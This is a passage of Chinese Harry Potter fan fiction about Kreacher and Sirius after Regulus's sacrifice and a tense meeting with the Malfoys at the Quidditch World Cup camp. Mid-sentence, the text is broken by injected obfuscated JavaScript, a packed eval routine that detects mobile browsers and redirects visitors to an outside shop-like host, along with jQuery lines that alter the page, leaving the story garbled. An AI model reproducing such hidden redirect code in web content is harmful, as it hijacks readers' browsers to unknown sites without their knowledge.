那天之后，格里莫广场12号笼罩在一种沉重而肃穆的氛围里，但某些变化也在悄然发生。
阿列克谢敏锐地感知到了这种氛围的转换。最直观的变化来自于克利切。那个曾蜷缩在阴影里、眼中燃烧着偏执怨恨的老精灵，身上似乎有某种尖锐的东西被抽走了，取而代之的是一种近乎肃穆的沉寂。它不再公然辱骂哈利他们（尽管偶尔对着赫敏的背影或韦斯莱兄弟的红发，还是会从牙缝里挤出含混的“泥巴种”、“纯血叛徒”），但频率和音量都大大降低，而是开始以一种近乎赎罪般的姿态，沉默地履行清洁职责。
它不再将小天狼星丢弃的“垃圾”偷偷捡回，而是用布满皱纹的手和微弱的魔法，耐心拂去积年的尘埃，试图让这座宅邸显露出被层层黑暗覆盖前的庄严骨架。阿列克谢曾看见克利切对着一面镶有黑宝石的狰狞盾牌出神许久，最终只是用一块布将其仔细盖好，没有试图将它重新挂回墙上。老宅在缓慢地“呼吸”，吐出陈腐，却依旧吞吐着历史的沉重。
关于雷古勒斯的故事，阿列克谢选择了在一个晚餐后，对朋友们讲述。他隐去了“魂器”的内容和挂坠盒的最终下落，只聚焦于雷古勒斯·布莱克——一位年轻的斯莱特林，如何凭借自己的智慧发现了伏地魔的某个致命秘密，设计了一场孤绝的调换，并为摧毁那件极度危险的黑暗造物而献出生命。
“所以……雷古勒斯是英雄？”罗恩听完，有些难以置信地低声说，下意识瞥了一眼楼梯方向，仿佛能透过楼板看到那面家族挂毯。
“一种非常沉默、也非常残酷的英雄主义。”赫敏的声音带着压抑的激动和悲伤，“他独自一人，对抗的是他曾经追随的人，以及整个家族的期望……这需要难以想象的勇气。”
弗雷德和乔治没有立刻说话，罕见地显得若有所思。第二天早餐时，弗雷德突然压低声音，带着分享秘闻的兴奋对桌边的朋友们说：“知道吗？我和乔治那天半夜溜去厨房找宵夜——别那样看我们，妈妈——路过那个疯老太太的肖像时，看到克利切站在前面，用那种……我从没听过的声音说话。”
乔治接过话头，表情难得正经：“它在说什么‘雷古勒斯少爷找到了黑魔王的弱点’，‘他比所有只敢叫嚣的人都勇敢’，‘他得到了平静’……然后，你们绝对猜不到，”他夸张地睁大眼睛，“画里的布莱克夫人，她没说话，也没尖叫，就只是坐在那儿，用手捂着脸，肩膀抖得厉害……画像当然哭不出眼泪，但梅林啊，那样子就像心都碎了。”
自那之后，沃尔布加·布莱克的肖像大多时间只是空洞地凝视着画框内的虚无，偶尔发出微不可闻的叹息。或许，关于小儿子真相的碎片，终于穿透了偏执的帷幕，触及了一个母亲最核心的悲伤。
阿列克谢也给纽蒙迦德寄去了一封简短的信，内容冷静而客观：“关于‘复数黑暗造物’的推测得到初步证实。实例来源：布莱克家族。销毁借助了戈德里克·格兰芬多的遗物。关键人物：R.A.B.（雷古勒斯·阿克图勒斯·布莱克），其行动模式证明了即便在最不可能之处，独立意志与牺牲精神依然存在。现下将前往观察魔法界集体狂欢，祖母的蜂蜜茶甚念。” 他确信收信人能解读出所有关键信息。
最深刻的变化发生在小天狼星身上，但那是一种向内沉淀的改变。他不再只是那个急于摆脱家族、显得躁动和不羁的劫掠者。雷古勒斯的命运像一剂苦涩的清醒剂，让他眼中的某些轻狂沉淀下来，转化为更沉静、也更坚定的内核。他依旧会和孩子们开玩笑，欣赏双胞胎的把戏，但对哈利的保护里多了份更厚重的责任感，甚至对克利切，他也开始尝试给出更清晰、而非纯粹厌恶的命令。
出发前往魁地奇世界杯营地的早晨，格里莫广场难得忙碌喧闹起来。韦斯莱夫人指挥若定，双子和金妮的兴奋几乎要冲破天花板，哈利、罗恩和赫敏则埋头研究《预言家日报》上的赛前分析。小天狼星穿着麻瓜的皮夹克，利落地帮忙收拾行装，话不多，但确保了一切井井有条。
当大家通过门钥匙（一个旧靴子）跌跌撞撞地出现在人声鼎沸的营地时，迎接他们的是旗帜的海洋、各种语言的喧哗与空气中弥漫的节日躁动。韦斯莱先生领着大家找到位置，男孩们开始手忙脚乱地对付那两个需要用魔法支撑的大帐篷。
就在阿列克谢帮忙固定一面帆布时，一个拖长的、令人不悦的声音响起：“哦，看看这是谁？一群扎堆的……红头发，还有……” 卢修斯·马尔福带着他标志性的傲慢神情走了过来，纳西莎挽着他的手臂，面色依旧苍白高傲，德拉科跟在父母身后，脸上带着惯常的讥笑。
卢修斯的目光扫过韦斯莱一家，在哈利身上停留片刻，最后落到小天狼星身上，嘴角勾起一丝假笑：“西里斯·布莱克。听说你……自由了。真是令人惊讶。魔法部的效率偶尔也能让人‘惊喜’，不是吗？希望阿兹卡班的空气没让你忘记怎么享受一场体面的比赛。””
若是以前的小天狼星，此刻恐怕早已冷嘲热讽或怒目相向。但此刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233640|197634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，他只是停下了手中的动作，缓缓直起身。他的目光平静地掠过卢修斯，在纳西莎苍白的脸上停留了一瞬——那眼神里没有旧日的亲情，也没有激烈的憎恨，只有一种了然的疏离，甚至带着一丝极淡的、难以解读的复杂意味。
纳西莎似乎被这眼神触动，极轻微地蹙了下眉，避开了他的视线。
小天狼星什么也没说，甚至没有回应那个挑衅。他转过身，拍了拍正在跟一根顽固支架“搏斗”的哈利的肩：“这边需要压一下，哈利。”他的声音平稳如常，将马尔福一家彻底置于了无形的透明屏障之外。
这种彻底的漠视，比任何言语回击都更让卢修斯难堪。他嘴角的假笑凝固了，眼中闪过一丝愠怒。德拉科似乎想开口，被他父亲一个细微的动作制止。马尔福一家僵持了几秒，最终卢修斯冷哼一声，转身走向营地更豪华的区域。
“哇哦。”弗雷德吹了声口哨。
“酷。”乔治咧嘴笑了。
小天狼星只是扯了扯嘴角，没有多说什么，只是继续手上的工作。但所有人都能感觉到，空气中有些东西不同了。眼前这个男人，背负着弟弟用生命换来的沉重真相，亲手参与摧毁了一件黑魔王的邪恶造物，昔日的躁动被一种更坚韧、更清晰的东西所取代。他不再需要通过对抗来证明自己。
帐篷终于搭好，里面宽敞舒适得令人惊叹。大家暂时将清晨的插曲和心底的沉重放在一边，被营地越来越浓厚的节日气氛感染。爱尔兰的绿色和三叶草，保加利亚的红色与威严狮鹫标志随处可见。韦斯莱兄弟迫不及待地换上爱尔兰队服，但胸前却别着克鲁姆的小徽章，声称要“支持胜利与偶像并存”。金妮和赫敏讨论着找球员签名。哈利和罗恩摆弄着新买的全景望远镜。
阿列克谢站在帐篷口，望着眼前这片魔法与麻瓜物品混用、各色人群熙熙攘攘的奇异景象。这或许就是他理念中某种模糊的雏形——尽管混乱，尽管仍有隔阂（如马尔福那样的纯血主义者），但在这里，巫师们暂时放下了部分成见，沉浸在共同的狂热中。而他知道，这片狂欢之下，黑暗的潜流仍在涌动。格林德沃的信中曾隐晦提醒过大型集会可能的风险，邓布利多的匆匆离去也暗示了不平静的时局。
夜幕降临，决赛即将开始。远处巨大的体育馆灯火通明，传来山呼海啸般的声浪。阿列克谢收回目光，跟随朋友们，汇入前往体育馆的人潮。世界杯的狂欢即将达到顶点，而他知道，在这片绚烂的魔法焰火之下，有些东西，正在悄然滋生。